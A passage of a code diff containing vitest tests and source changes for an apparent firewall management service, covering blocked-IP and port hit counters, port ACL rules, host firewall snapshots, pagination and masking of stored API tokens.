items: { ip: string; packets: number }[]
}
// 10 + (18-10) = 18; /24 unchanged (delta 0) stays 5
expect(body2.items.find((i) => i.ip === '203.0.113.10')?.packets).toBe(18)
expect(body2.items.find((i) => i.ip === '198.51.100.0/24')?.packets).toBe(5)
// Simulate nft flush: Traffic absolute drops; ip_hits omit zeros → baselines must reset
const reportReset = await app.inject({
method: 'POST',
url: '/v1/agent/apply-report',
headers: {
authorization: `Bearer ${token}`,
'content-type': 'application/json',
},
payload: {
status: 'ok',
prefix_count: 2,
packets_dropped: 0,
packets_accepted: 0,
kernel_method: 'nft',
source: 'agent',
ip_hits: [],
},
})
expect(reportReset.statusCode).toBe(200)
const report3 = await app.inject({
method: 'POST',
url: '/v1/agent/apply-report',
headers: {
authorization: `Bearer ${token}`,
'content-type': 'application/json',
},
payload: {
status: 'ok',
prefix_count: 2,
packets_dropped: 7,
packets_accepted: 0,
kernel_method: 'nft',
source: 'agent',
ip_hits: [
{ ip: '203.0.113.10', packets: 4 },
{ ip: '198.51.100.0/24', packets: 3 },
],
},
})
expect(report3.statusCode).toBe(200)
const listAfterFlush = await app.inject({
method: 'GET',
url: `/api/v1/agents/${agentId}/blocked-ips`,
})
const bodyFlush = listAfterFlush.json() as {
items: { ip: string; packets: number }[]
}
// First epoch 18+5 plus second epoch 4+3
expect(bodyFlush.items.find((i) => i.ip === '203.0.113.10')?.packets).toBe(
22,
)
expect(
bodyFlush.items.find((i) => i.ip === '198.51.100.0/24')?.packets,
).toBe(8)
const agentAfter = await app.inject({
method: 'GET',
url: `/api/v1/agents/${agentId}`,
})
const agentBody = agentAfter.json() as {
total_packets_dropped?: number
}
// Traffic: 25 + 0 + 7 = 32
expect(agentBody.total_packets_dropped).toBe(32)
const reset = await app.inject({
method: 'POST',
url: `/api/v1/agents/${agentId}/stats/reset`,
})
expect(reset.statusCode).toBe(200)
const list3 = await app.inject({
method: 'GET',
url: `/api/v1/agents/${agentId}/blocked-ips`,
})
expect(
(list3.json() as { items: unknown[] }).items,
).toEqual([])
})
it('rejects ip_hits longer than 200', async () => {
const app = await appPromise
await app.ready()
const { token } = await enrollApprovedLinux(
app,
'ip-hits-max',
'evofw_ip_hits_max_token_abcdef',
)
const hits = Array.from({ length: 201 }, (_, i) => ({
ip: `203.0.113.${(i % 254) + 1}`,
packets: 1,
}))
const report = await app.inject({
method: 'POST',
url: '/v1/agent/apply-report',
headers: {
authorization: `Bearer ${token}`,
'content-type': 'application/json',
},
payload: {
status: 'ok',
packets_dropped: 201,
ip_hits: hits,
},
})
expect(report.statusCode).toBeGreaterThanOrEqual(400)
})
it('mikrotik presence: continuous sync refreshes last_seen without +1; rehit after stale gap', async () => {
const app = await appPromise
await app.ready()
const created = await app.inject({
method: 'POST',
url: '/api/v1/install-links',
payload: { name: 'mt-hits', platform: 'mikrotik' },
})
const link = created.json() as { id: string; agent_id: string }
const token = 'evofw_mt_hits_token_abcdefghijk'
await app.inject({
method: 'POST',
url: '/v1/agent/enroll',
headers: {
'content-type': 'application/json',
'x-evofw-seed': 'test-seed',
},
payload: {
name: 'mt-hits',
platform: 'mikrotik',
token,
install_link_id: link.id,
},
})
await app.inject({
method: 'POST',
url: `/api/v1/agents/${link.agent_id}/approve`,
})
const reportPayload = (dropped: number) => ({
status: 'ok',
packets_dropped: dropped,
kernel_method: 'address-list',
source: 'mikrotik',
ip_hits: [{ ip: '203.0.113.50', packets: 1 }],
})
expect(
(
await app.inject({
method: 'POST',
url: '/v1/agent/apply-report',
headers: {
authorization: `Bearer ${token}`,
'content-type': 'application/json',
},
payload: reportPayload(3),
})
).statusCode,
).toBe(200)
const list1 = await app.inject({
method: 'GET',
url: `/api/v1/agents/${link.agent_id}/blocked-ips`,
})
const body1 = list1.json() as {
items: { ip: string; packets: number; last_seen_at: string }[]
}
expect(body1.items).toHaveLength(1)
expect(body1.items[0]?.packets).toBe(1)
const firstSeen = body1.items[0]!.last_seen_at
await new Promise((r) => setTimeout(r, 5))
expect(
(
await app.inject({
method: 'POST',
url: '/v1/agent/apply-report',
headers: {
authorization: `Bearer ${token}`,
'content-type': 'application/json',
},
payload: reportPayload(5),
})
).statusCode,
).toBe(200)
const list2 = await app.inject({
method: 'GET',
url: `/api/v1/agents/${link.agent_id}/blocked-ips`,
})
const body2 = list2.json() as {
items: { ip: string; packets: number; last_seen_at: string }[]
}
expect(body2.items[0]?.packets).toBe(1)
expect(body2.items[0]!.last_seen_at >= firstSeen).toBe(true)
// Re-entry after stale gap (> PRESENCE_REHIT_STALE_MS): simulate via future `now`
const { repos } = await import('@evofw/db')
repos.upsertIpBlockStats(
app.db,
link.agent_id,
[{ ip: '203.0.113.50', packets: 1 }],
new Date(Date.now() + 200_000).toISOString(),
{ mode: 'presence' },
)
const list3 = await app.inject({
method: 'GET',
url: `/api/v1/agents/${link.agent_id}/blocked-ips`,
})
expect(
(list3.json() as { items: { packets: number }[] }).items[0]?.packets,
).toBe(2)
})
})
describe('apply-report port_hits / blocked-ports', () => {
const appPromise = buildApp({ memory: true, config: testConfig })
afterAll(async () => {
const app = await appPromise
await app.close()
})
it('upserts port_hits with delta accumulation, aggregate, per-IP ports, reset', async () => {
const app = await appPromise
await app.ready()
const { agentId, token } = await enrollApprovedLinux(
app,
'port-hits-01',
'evofw_port_hits_token_abcdefg',
)
const report1 = await app.inject({
method: 'POST',
url: '/v1/agent/apply-report',
headers: {
authorization: `Bearer ${token}`,
'content-type': 'application/json',
},
payload: {
status: 'ok',
prefix_count: 1,
packets_dropped: 30,
packets_accepted: 0,
kernel_method: 'nft',
source: 'agent',
ip_hits: [{ ip: '203.0.113.10', packets: 20 }],
port_hits: [
{ ip: '203.0.113.10', port: 22, protocol: 'tcp', packets: 12 },
{ ip: '203.0.113.10', port: 53, protocol: 'udp', packets: 8 },
{ ip: '198.51.100.7', port: 22, protocol: 'tcp', packets: 5 },
],
},
})
expect(report1.statusCode).toBe(200)
const ports1 = await app.inject({
method: 'GET',
url: `/api/v1/agents/${agentId}/blocked-ports`,
})
expect(ports1.statusCode).toBe(200)
const agg1 = ports1.json() as {
items: {
port: number
protocol: string
packets: number
last_seen_at: string
}[]
}
expect(agg1.items[0]?.port).toBe(22)
expect(agg1.items[0]?.protocol).toBe('tcp')
expect(agg1.items[0]?.packets).toBe(17) // 12+5
expect(agg1.items.find((i) => i.port === 53)?.packets).toBe(8)
const ips1 = await app.inject({
method: 'GET',
url: `/api/v1/agents/${agentId}/blocked-ips`,
})
const ipBody = ips1.json() as {
items: {
ip: string
ports?: { port: number; protocol: string; packets: number }[]
}[]
}
const row10 = ipBody.items.find((i) => i.ip === '203.0.113.10')
expect(row10?.ports?.map((p) => `${p.protocol}/${p.port}`)).toEqual([
'tcp/22',
'udp/53',
])
const report2 = await app.inject({
method: 'POST',
url: '/v1/agent/apply-report',
headers: {
authorization: `Bearer ${token}`,
'content-type': 'application/json',
},
payload: {
status: 'ok',
packets_dropped: 40,
kernel_method: 'nft',
source: 'agent',
port_hits: [
{ ip: '203.0.113.10', port: 22, protocol: 'tcp', packets: 15 },
],
},
})
expect(report2.statusCode).toBe(200)
const ports2 = await app.inject({
method: 'GET',
url: `/api/v1/agents/${agentId}/blocked-ports`,
})
const agg2 = ports2.json() as {
items: { port: number; protocol: string; packets: number }[]
}
// tcp/22: 17 + (15-12) = 20
expect(
agg2.items.find((i) => i.port === 22 && i.protocol === 'tcp')?.packets,
).toBe(20)
const reset = await app.inject({
method: 'POST',
url: `/api/v1/agents/${agentId}/stats/reset`,
})
expect(reset.statusCode).toBe(200)
const ports3 = await app.inject({
method: 'GET',
url: `/api/v1/agents/${agentId}/blocked-ports`,
})
expect((ports3.json() as { items: unknown[] }).items).toEqual([])
})
it('rejects port_hits longer than 500', async () => {
const app = await appPromise
await app.ready()
const { token } = await enrollApprovedLinux(
app,
'port-hits-max',
'evofw_port_hits_max_token_abc',
)
const hits = Array.from({ length: 501 }, (_, i) => ({
ip: `203.0.113.${(i % 254) + 1}`,
port: (i % 65535) + 1,
protocol: i % 2 === 0 ? 'tcp' : 'udp',
packets: 1,
}))
const report = await app.inject({
method: 'POST',
url: '/v1/agent/apply-report',
headers: {
authorization: `Bearer ${token}`,
'content-type': 'application/json',
},
payload: {
status: 'ok',
packets_dropped: 501,
port_hits: hits,
},
})
expect(report.statusCode).toBeGreaterThanOrEqual(400)
})
})
+2 -1
View File
@@ -12,6 +12,7 @@ import {
} from '@evofw/shared' } from '@evofw/shared'
import { resolveHostnameToCidrs } from '../policy/resolve-hostname.js' import { resolveHostnameToCidrs } from '../policy/resolve-hostname.js'
import { uniqCidrs } from '../uniq.js' import { uniqCidrs } from '../uniq.js'
import { maskListConfig } from '../secret-cipher.js'
export function getListConfig(list: { export function getListConfig(list: {
configJson: string configJson: string
@@ -324,7 +325,7 @@ export function mapListDetail(db: Db, listId: string) {
id: l.id, id: l.id,
name: l.name, name: l.name,
type: l.type, type: l.type,
config_json: l.configJson, config_json: maskListConfig(l.configJson),
content_hash: l.contentHash, content_hash: l.contentHash,
refreshed_at: l.refreshedAt, refreshed_at: l.refreshedAt,
last_error: l.lastError, last_error: l.lastError,
+6 -3
View File
@@ -8,6 +8,7 @@ import {
rebuildManualListEntries, rebuildManualListEntries,
} from './entries.js' } from './entries.js'
import { uniqCidrs } from '../uniq.js' import { uniqCidrs } from '../uniq.js'
import { decryptSecret } from '../secret-cipher.js'
function hashCidrs(cidrs: string[]): string { function hashCidrs(cidrs: string[]): string {
return `sha256:${createHash('sha256').update(cidrs.join('\n')).digest('hex')}` return `sha256:${createHash('sha256').update(cidrs.join('\n')).digest('hex')}`
@@ -139,10 +140,12 @@ export async function refreshIpList(db: Db, listId: string): Promise<void> {
repos.replaceIpListEntries(db, listId, cidrs) repos.replaceIpListEntries(db, listId, cidrs)
} else if (list.type === 'evobgp_community') { } else if (list.type === 'evobgp_community') {
const apiUrl = const apiUrl =
String(config.api_url ?? '') || repos.getSetting(db, 'evobgp_api_url') String(config.api_url ?? '') ||
repos.getSetting(db, 'evobgp_api_url') ||
''
const token = const token =
String(config.api_token ?? '') || decryptSecret(String(config.api_token ?? '') || null) ??
repos.getSetting(db, 'evobgp_api_token') decryptSecret(repos.getSetting(db, 'evobgp_api_token'))
const communityId = String(config.community_id ?? '') const communityId = String(config.community_id ?? '')
if (!apiUrl || !token || !communityId) { if (!apiUrl || !token || !communityId) {
throw new Error('evobgp_api_url, token and community_id required') throw new Error('evobgp_api_url, token and community_id required')
+22
View File
@@ -0,0 +1,22 @@
/**
* Backwards-compatible list pagination: without limit/offset the response is
* the full list (total === items.length); with them, a page plus the total.
*/
export function applyPagination<T>(
items: T[],
query: { limit?: string; offset?: string },
): { items: T[]; total: number } {
const total = items.length
const limitRaw = query.limit !== undefined ? Number(query.limit) : NaN
const offsetRaw = query.offset !== undefined ? Number(query.offset) : NaN
if (!Number.isFinite(limitRaw) && !Number.isFinite(offsetRaw)) {
return { items, total }
}
const limit = Number.isFinite(limitRaw)
? Math.max(1, Math.min(1000, Math.floor(limitRaw)))
: items.length
const offset = Number.isFinite(offsetRaw)
? Math.max(0, Math.floor(offsetRaw))
: 0
return { items: items.slice(offset, offset + limit), total }
}
+109 -11
View File
@@ -8,7 +8,7 @@ import {
} from '@evofw/shared' } from '@evofw/shared'
import { uniqCidrs } from '../uniq.js' import { uniqCidrs } from '../uniq.js'
export const POLICY_APPLY_VERSION = 2 as const export const POLICY_APPLY_VERSION = 3 as const
export type PolicyChainStep = { export type PolicyChainStep = {
setId: string | null setId: string | null
@@ -20,6 +20,15 @@ export type PolicyChainStep = {
cidrCount: number cidrCount: number
} }
export type EvaluatedPortRule = {
id: string
action: 'open' | 'close'
protocol: 'tcp' | 'udp'
portStart: number
portEnd: number
srcCidrs: string[]
}
export type EvaluatedPolicy = { export type EvaluatedPolicy = {
generation: number generation: number
hash: string hash: string
@@ -29,6 +38,7 @@ export type EvaluatedPolicy = {
policyMode: 'blacklist' | 'whitelist' policyMode: 'blacklist' | 'whitelist'
denyCidrs: string[] denyCidrs: string[]
allowCidrs: string[] allowCidrs: string[]
portRules: EvaluatedPortRule[]
conflictsDropped: number conflictsDropped: number
syncIntervalSec: number syncIntervalSec: number
chain: PolicyChainStep[] chain: PolicyChainStep[]
@@ -40,16 +50,45 @@ export type EvaluatedPolicy = {
cidrsAllow: number cidrsAllow: number
overrides: number overrides: number
conflictsDropped: number conflictsDropped: number
portRules: number
} }
} }
function expandList(db: Db, listId: string | null | undefined): string[] { /**
if (!listId) return [] * Prefetched expansion data: one batched query per kind instead of a query
return repos.listIpListEntries(db, listId).map((e) => e.cidr) * per rule (this code runs on every agent policy poll, ~60s per agent).
*/
type ExpansionContext = {
entriesByList: Map<string, string[]>
resolvedByRule: Map<string, string[]>
listNames: Map<string, string>
}
function buildExpansionContext(
db: Db,
rules: { id: string; listId: string | null; hostname: string | null }[],
portRuleRows: { listId: string | null }[],
): ExpansionContext {
const listIds = [
...new Set(
[
...rules.map((r) => r.listId?.trim() || ''),
...portRuleRows.map((r) => r.listId?.trim() || ''),
].filter(Boolean),
),
]
const hostnameRuleIds = [
...new Set(rules.filter((r) => r.hostname?.trim()).map((r) => r.id)),
]
return {
entriesByList: repos.mapIpListEntriesByListIds(db, listIds),
resolvedByRule: repos.mapResolvedCidrsByRuleIds(db, hostnameRuleIds),
listNames: repos.mapIpListNames(db, listIds),
}
} }
function expandRule( function expandRule(
db: Db, ctx: ExpansionContext,
rule: { rule: {
cidr: string | null cidr: string | null
listId: string | null listId: string | null
@@ -59,9 +98,10 @@ function expandRule(
): string[] { ): string[] {
if (rule.cidr?.trim()) return [rule.cidr.trim()] if (rule.cidr?.trim()) return [rule.cidr.trim()]
if (rule.hostname?.trim()) { if (rule.hostname?.trim()) {
return repos.listResolvedForRule(db, rule.id).map((r) => r.cidr) return ctx.resolvedByRule.get(rule.id) ?? []
} }
return expandList(db, rule.listId) const listId = rule.listId?.trim() || ''
return listId ? (ctx.entriesByList.get(listId) ?? []) : []
} }
function resolveDefaultAction(agentDefaultAction: string | null | undefined): DefaultAction { function resolveDefaultAction(agentDefaultAction: string | null | undefined): DefaultAction {
@@ -72,7 +112,7 @@ function resolveDefaultAction(agentDefaultAction: string | null | undefined): De
} }
function sourceMeta( function sourceMeta(
db: Db, ctx: ExpansionContext,
rule: { rule: {
cidr: string | null cidr: string | null
listId: string | null listId: string | null
@@ -86,10 +126,62 @@ function sourceMeta(
return { kind: 'hostname', label: rule.hostname.trim() } return { kind: 'hostname', label: rule.hostname.trim() }
} }
const listId = rule.listId?.trim() || '' const listId = rule.listId?.trim() || ''
const name = listId ? repos.getIpList(db, listId)?.name : null const name = listId ? ctx.listNames.get(listId) : null
return { kind: 'list', label: name || listId || 'list' } return { kind: 'list', label: name || listId || 'list' }
} }
function expandPortSrcCidrs(
ctx: ExpansionContext,
row: {
srcKind: string
srcCidr: string | null
listId: string | null
},
): string[] {
if (row.srcKind === 'all') return ['0.0.0.0/0']
if (row.srcKind === 'cidr' && row.srcCidr?.trim()) {
return [row.srcCidr.trim()]
}
if (row.srcKind === 'list') {
const cidrs = row.listId
? (ctx.entriesByList.get(row.listId.trim()) ?? [])
: []
return cidrs.length ? uniqCidrs(cidrs) : []
}
return []
}
function expandPortRules(
ctx: ExpansionContext,
rows: ReturnType<typeof repos.listEnabledAgentPortRules>,
): EvaluatedPortRule[] {
const out: EvaluatedPortRule[] = []
for (const row of rows) {
const action = row.action === 'close' ? 'close' : 'open'
const srcCidrs = expandPortSrcCidrs(ctx, row)
if (!srcCidrs.length) continue
const portStart = Math.max(1, Math.min(65535, row.portStart))
const portEnd = Math.max(portStart, Math.min(65535, row.portEnd))
const protocols: Array<'tcp' | 'udp'> =
row.protocol === 'udp'
? ['udp']
: row.protocol === 'both'
? ['tcp', 'udp']
: ['tcp']
for (const protocol of protocols) {
out.push({
id: row.id,
action,
protocol,
portStart,
portEnd,
srcCidrs,
})
}
}
return out
}
/** Evaluate allow/deny sets for an agent from assigned policy sets. */ /** Evaluate allow/deny sets for an agent from assigned policy sets. */
export function evaluateAgentPolicy(db: Db, agentId: string): EvaluatedPolicy { export function evaluateAgentPolicy(db: Db, agentId: string): EvaluatedPolicy {
const agent = repos.getAgent(db, agentId) const agent = repos.getAgent(db, agentId)
@@ -102,6 +194,8 @@ export function evaluateAgentPolicy(db: Db, agentId: string): EvaluatedPolicy {
.filter((s) => s.enabled === 1) .filter((s) => s.enabled === 1)
const ordered = repos.listPolicyRulesForAgent(db, agentId) const ordered = repos.listPolicyRulesForAgent(db, agentId)
const overrides = repos.listOverrides(db, agentId) const overrides = repos.listOverrides(db, agentId)
const portRuleRows = repos.listEnabledAgentPortRules(db, agentId)
const ctx = buildExpansionContext(db, ordered, portRuleRows)
const deny: string[] = [] const deny: string[] = []
const allow: string[] = [] const allow: string[] = []
@@ -110,7 +204,7 @@ export function evaluateAgentPolicy(db: Db, agentId: string): EvaluatedPolicy {
let rulesAllow = 0 let rulesAllow = 0
for (const rule of ordered) { for (const rule of ordered) {
const cidrs = expandRule(db, rule) const cidrs = expandRule(ctx, rule)
const action = rule.action === 'deny' ? 'deny' : 'allow' const action = rule.action === 'deny' ? 'deny' : 'allow'
if (action === 'deny') { if (action === 'deny') {
deny.push(...cidrs) deny.push(...cidrs)
@@ -119,7 +213,7 @@ export function evaluateAgentPolicy(db: Db, agentId: string): EvaluatedPolicy {
allow.push(...cidrs) allow.push(...cidrs)
rulesAllow += 1 rulesAllow += 1
} }
const src = sourceMeta(db, rule) const src = sourceMeta(ctx, rule)
const setName = const setName =
assignedSets.find((s) => s.setId === rule.setId)?.name ?? null assignedSets.find((s) => s.setId === rule.setId)?.name ?? null
chain.push({ chain.push({
@@ -155,6 +249,7 @@ export function evaluateAgentPolicy(db: Db, agentId: string): EvaluatedPolicy {
const conflictsDropped = allowRaw.length - allowCidrs.length const conflictsDropped = allowRaw.length - allowCidrs.length
const defaultAction = resolveDefaultAction(agent.defaultAction) const defaultAction = resolveDefaultAction(agent.defaultAction)
const policyMode = legacyModeFromDefaultAction(defaultAction) const policyMode = legacyModeFromDefaultAction(defaultAction)
const portRules = expandPortRules(ctx, portRuleRows)
const payload = JSON.stringify({ const payload = JSON.stringify({
apply_version: POLICY_APPLY_VERSION, apply_version: POLICY_APPLY_VERSION,
@@ -162,6 +257,7 @@ export function evaluateAgentPolicy(db: Db, agentId: string): EvaluatedPolicy {
defaultAction, defaultAction,
denyCidrs, denyCidrs,
allowCidrs, allowCidrs,
portRules,
}) })
const hash = `sha256:${createHash('sha256').update(payload).digest('hex')}` const hash = `sha256:${createHash('sha256').update(payload).digest('hex')}`
@@ -176,6 +272,7 @@ export function evaluateAgentPolicy(db: Db, agentId: string): EvaluatedPolicy {
policyMode, policyMode,
denyCidrs, denyCidrs,
allowCidrs, allowCidrs,
portRules,
conflictsDropped, conflictsDropped,
syncIntervalSec, syncIntervalSec,
chain, chain,
@@ -187,6 +284,7 @@ export function evaluateAgentPolicy(db: Db, agentId: string): EvaluatedPolicy {
cidrsAllow: allowCidrs.length, cidrsAllow: allowCidrs.length,
overrides: overrides.length, overrides: overrides.length,
conflictsDropped, conflictsDropped,
portRules: portRules.length,
}, },
} }
} }
@@ -16,6 +16,7 @@ function basePolicy(
policyMode: 'blacklist', policyMode: 'blacklist',
denyCidrs: ['1.2.3.0/24', '2001:db8::/32', '10.0.0.1/32'], denyCidrs: ['1.2.3.0/24', '2001:db8::/32', '10.0.0.1/32'],
allowCidrs: ['8.8.8.8/32', 'fe80::1/128'], allowCidrs: ['8.8.8.8/32', 'fe80::1/128'],
portRules: [],
conflictsDropped: 0, conflictsDropped: 0,
syncIntervalSec: 60, syncIntervalSec: 60,
chain: [], chain: [],
@@ -27,6 +28,7 @@ function basePolicy(
cidrsAllow: 1, cidrsAllow: 1,
overrides: 0, overrides: 0,
conflictsDropped: 0, conflictsDropped: 0,
portRules: 0,
}, },
...patch, ...patch,
} }
@@ -36,7 +38,7 @@ describe('renderMikrotikPolicyRsc', () => {
it('renders accept default: lists + default-drop disabled', () => { it('renders accept default: lists + default-drop disabled', () => {
const rsc = renderMikrotikPolicyRsc(basePolicy()) const rsc = renderMikrotikPolicyRsc(basePolicy())
expect(rsc).toContain( expect(rsc).toContain(
'# evofw hash=sha256:abc default_action=accept apply_version=2 gen=3', `# evofw hash=sha256:abc default_action=accept apply_version=${POLICY_APPLY_VERSION} gen=3`,
) )
expect(rsc).toContain('list=EVOFW_DENY') expect(rsc).toContain('list=EVOFW_DENY')
expect(rsc).toContain('list=EVOFW_ALLOW') expect(rsc).toContain('list=EVOFW_ALLOW')
@@ -14,6 +14,10 @@ const testConfig: AppConfig = {
authPortalUrl: 'http://localhost:5175', authPortalUrl: 'http://localhost:5175',
publicBaseUrl: 'https://fw.example.com', publicBaseUrl: 'https://fw.example.com',
enrollSeed: 'test-seed', enrollSeed: 'test-seed',
corsOrigins: [],
authAuditIngestSecret: null,
secretKey: null,
statsRetentionDays: 30,
} }
async function createAgent( async function createAgent(
@@ -100,7 +104,7 @@ describe('classic policy default_action', () => {
chain: unknown[] chain: unknown[]
} }
expect(body.default_action).toBe('drop') expect(body.default_action).toBe('drop')
expect(body.apply_version).toBe(2) expect(body.apply_version).toBe(3)
expect(body.deny_cidrs).toContain('10.0.0.1/32') expect(body.deny_cidrs).toContain('10.0.0.1/32')
expect(body.allow_cidrs).not.toContain('10.0.0.1/32') expect(body.allow_cidrs).not.toContain('10.0.0.1/32')
expect(body.allow_cidrs).toContain('10.0.0.2/32') expect(body.allow_cidrs).toContain('10.0.0.2/32')
+419
View File
@@ -0,0 +1,419 @@
import { describe, it, expect, afterAll } from 'vitest'
import { buildApp } from '../app.js'
import type { AppConfig } from '../config.js'
const testConfig: AppConfig = {
databaseUrl: 'sqlite::memory:',
jwtSecret: 'test',
jwtTtlHours: 24,
serverPort: 8080,
staticDir: null,
logLevel: 'error',
authRequired: false,
authIssuer: 'https://auth.test',
authPortalUrl: 'http://localhost:5175',
publicBaseUrl: 'https://fw.example.com',
enrollSeed: 'test-seed',
corsOrigins: [],
authAuditIngestSecret: null,
secretKey: null,
statsRetentionDays: 30,
}
async function enrollApprovedLinux(
app: Awaited<ReturnType<typeof buildApp>>,
name: string,
token: string,
) {
const created = await app.inject({
method: 'POST',
url: '/api/v1/install-links',
payload: { name, platform: 'linux' },
})
expect(created.statusCode).toBe(201)
const link = created.json() as { id: string; agent_id: string }
const enroll = await app.inject({
method: 'POST',
url: '/v1/agent/enroll',
headers: {
'content-type': 'application/json',
'x-evofw-seed': 'test-seed',
},
payload: {
name,
platform: 'linux',
token,
install_link_id: link.id,
},
})
expect(enroll.statusCode).toBe(201)
await app.inject({
method: 'POST',
url: `/api/v1/agents/${link.agent_id}/approve`,
})
return { agentId: link.agent_id, token }
}
describe('port ACL + host firewall snapshot', () => {
const appPromise = buildApp({ memory: true, config: testConfig })
afterAll(async () => {
const app = await appPromise
await app.close()
})
it('CRUD port-rules bumps generation and expands in policy', async () => {
const app = await appPromise
await app.ready()
const { agentId, token } = await enrollApprovedLinux(
app,
'port-acl-01',
'evofw_port_acl_token_abcdefghij',
)
const before = await app.inject({
method: 'GET',
url: `/api/v1/agents/${agentId}`,
})
const genBefore = (before.json() as { policy_generation: number })
.policy_generation
const create = await app.inject({
method: 'POST',
url: `/api/v1/agents/${agentId}/port-rules`,
payload: {
action: 'open',
protocol: 'tcp',
port_start: 443,
src_kind: 'cidr',
src_cidr: '10.0.0.0/8',
},
})
expect(create.statusCode).toBe(200)
const rule = create.json() as { id: string; action: string; port_start: number }
expect(rule.action).toBe('open')
expect(rule.port_start).toBe(443)
const after = await app.inject({
method: 'GET',
url: `/api/v1/agents/${agentId}`,
})
expect(
(after.json() as { policy_generation: number }).policy_generation,
).toBe(genBefore + 1)
const list = await app.inject({
method: 'GET',
url: `/api/v1/agents/${agentId}/port-rules`,
})
expect(list.statusCode).toBe(200)
expect((list.json() as { items: unknown[] }).items).toHaveLength(1)
const policy = await app.inject({
method: 'GET',
url: '/v1/agent/policy',
headers: { authorization: `Bearer ${token}` },
})
expect(policy.statusCode).toBe(200)
const body = policy.json() as {
apply_version: number
port_rules: {
action: string
protocol: string
port_start: number
src_cidrs: string[]
}[]
}
expect(body.apply_version).toBe(3)
expect(body.port_rules).toHaveLength(1)
expect(body.port_rules[0]?.src_cidrs).toEqual(['10.0.0.0/8'])
expect(body.port_rules[0]?.protocol).toBe('tcp')
const patch = await app.inject({
method: 'PATCH',
url: `/api/v1/agents/${agentId}/port-rules/${rule.id}`,
payload: { enabled: false },
})
expect(patch.statusCode).toBe(200)
expect((patch.json() as { enabled: boolean }).enabled).toBe(false)
const policyOff = await app.inject({
method: 'GET',
url: '/v1/agent/policy',
headers: { authorization: `Bearer ${token}` },
})
expect(
(policyOff.json() as { port_rules: unknown[] }).port_rules,
).toHaveLength(0)
const del = await app.inject({
method: 'DELETE',
url: `/api/v1/agents/${agentId}/port-rules/${rule.id}`,
})
expect(del.statusCode).toBe(200)
})
it('imports port-rules from IP list', async () => {
const app = await appPromise
await app.ready()
const { agentId } = await enrollApprovedLinux(
app,
'port-acl-import',
'evofw_port_import_token_abcdefgh',
)
const listRes = await app.inject({
method: 'POST',
url: '/api/v1/lists',
payload: {
name: 'port-src-list',
type: 'static',
entries: ['203.0.113.0/24'],
},
})
expect(listRes.statusCode).toBe(200)
const listId = (listRes.json() as { id: string }).id
const before = await app.inject({
method: 'GET',
url: `/api/v1/agents/${agentId}`,
})
const genBefore = (before.json() as { policy_generation: number })
.policy_generation
const imp = await app.inject({
method: 'POST',
url: `/api/v1/agents/${agentId}/port-rules/import`,
payload: {
from: 'list',
list_id: listId,
action: 'close',
protocol: 'both',
ports: [{ port_start: 22 }, { port_start: 80, port_end: 81 }],
},
})
expect(imp.statusCode).toBe(200)
const items = (imp.json() as { items: { src_kind: string; list_id: string }[] })
.items
expect(items).toHaveLength(2)
expect(items.every((i) => i.src_kind === 'list' && i.list_id === listId)).toBe(
true,
)
const after = await app.inject({
method: 'GET',
url: `/api/v1/agents/${agentId}`,
})
expect(
(after.json() as { policy_generation: number }).policy_generation,
).toBe(genBefore + 1)
})
it('upserts host_firewall snapshot from apply-report', async () => {
const app = await appPromise
await app.ready()
const { agentId, token } = await enrollApprovedLinux(
app,
'host-fw-snap',
'evofw_host_fw_token_abcdefghij',
)
const report = await app.inject({
method: 'POST',
url: '/v1/agent/apply-report',
headers: {
authorization: `Bearer ${token}`,
'content-type': 'application/json',
},
payload: {
status: 'ok',
kernel_method: 'nft',
host_firewall: {
rules: [
{
ownership: 'evofw',
backend: 'nft',
table: 'evofw',
chain: 'input',
action: 'drop',
protocol: 'tcp',
dport: '22',
raw: 'tcp dport 22 drop comment "evofw-port-x"',
},
{
ownership: 'foreign',
backend: 'iptables',
chain: 'INPUT',
action: 'ACCEPT',
// Agent historically sent JSON null for missing fields — must accept.
protocol: null,
dport: null,
saddr: null,
raw: '-A INPUT -p tcp --dport 80 -j ACCEPT',
},
],
listeners: [
{ protocol: 'tcp', port: 22, address: '0.0.0.0' },
],
},
},
})
expect(report.statusCode).toBe(200)
const snap = await app.inject({
method: 'GET',
url: `/api/v1/agents/${agentId}/host-firewall`,
})
expect(snap.statusCode).toBe(200)
const body = snap.json() as {
collected_at: string | null
rules: { ownership: string }[]
listeners: { port: number }[]
}
expect(body.collected_at).toBeTruthy()
expect(body.rules).toHaveLength(2)
expect(body.rules.some((r) => r.ownership === 'evofw')).toBe(true)
expect(body.listeners[0]?.port).toBe(22)
})
it('does not wipe host_firewall snapshot with empty apply-report payload', async () => {
const app = await appPromise
await app.ready()
const { agentId, token } = await enrollApprovedLinux(
app,
'host-fw-empty',
'evofw_host_fw_empty_token_ab',
)
const filled = await app.inject({
method: 'POST',
url: '/v1/agent/apply-report',
headers: {
authorization: `Bearer ${token}`,
'content-type': 'application/json',
},
payload: {
status: 'ok',
host_firewall: {
rules: [
{
ownership: 'evofw',
backend: 'nft',
action: 'drop',
raw: 'ip saddr @deny_v4 drop',
},
],
listeners: [{ protocol: 'tcp', port: 22, address: '0.0.0.0' }],
},
},
})
expect(filled.statusCode).toBe(200)
const empty = await app.inject({
method: 'POST',
url: '/v1/agent/apply-report',
headers: {
authorization: `Bearer ${token}`,
'content-type': 'application/json',
},
payload: {
status: 'ok',
host_firewall: { rules: [], listeners: [] },
},
})
expect(empty.statusCode).toBe(200)
const snap = await app.inject({
method: 'GET',
url: `/api/v1/agents/${agentId}/host-firewall`,
})
const body = snap.json() as {
rules: unknown[]
listeners: unknown[]
}
expect(body.rules).toHaveLength(1)
expect(body.listeners).toHaveLength(1)
})
it('filters invalid host_firewall rules without failing apply-report', async () => {
const app = await appPromise
await app.ready()
const { agentId, token } = await enrollApprovedLinux(
app,
'host-fw-filter',
'evofw_host_fw_filter_token_a',
)
const report = await app.inject({
method: 'POST',
url: '/v1/agent/apply-report',
headers: {
authorization: `Bearer ${token}`,
'content-type': 'application/json',
},
payload: {
status: 'ok',
host_firewall: {
rules: [
{ ownership: 'evofw', backend: 'nft', raw: 'ok rule' },
{ ownership: 'nope', backend: 'nft', raw: 'bad ownership' },
{ not: 'a rule' },
],
listeners: [
{ protocol: 'tcp', port: 443, address: '::' },
{ protocol: 'tcp', port: 99999, address: '1.1.1.1' },
],
},
},
})
expect(report.statusCode).toBe(200)
const snap = await app.inject({
method: 'GET',
url: `/api/v1/agents/${agentId}/host-firewall`,
})
const body = snap.json() as {
rules: unknown[]
listeners: { port: number }[]
}
expect(body.rules).toHaveLength(1)
expect(body.listeners).toHaveLength(1)
expect(body.listeners[0]?.port).toBe(443)
})
it('rejects port ACL on non-linux agents', async () => {
const app = await appPromise
await app.ready()
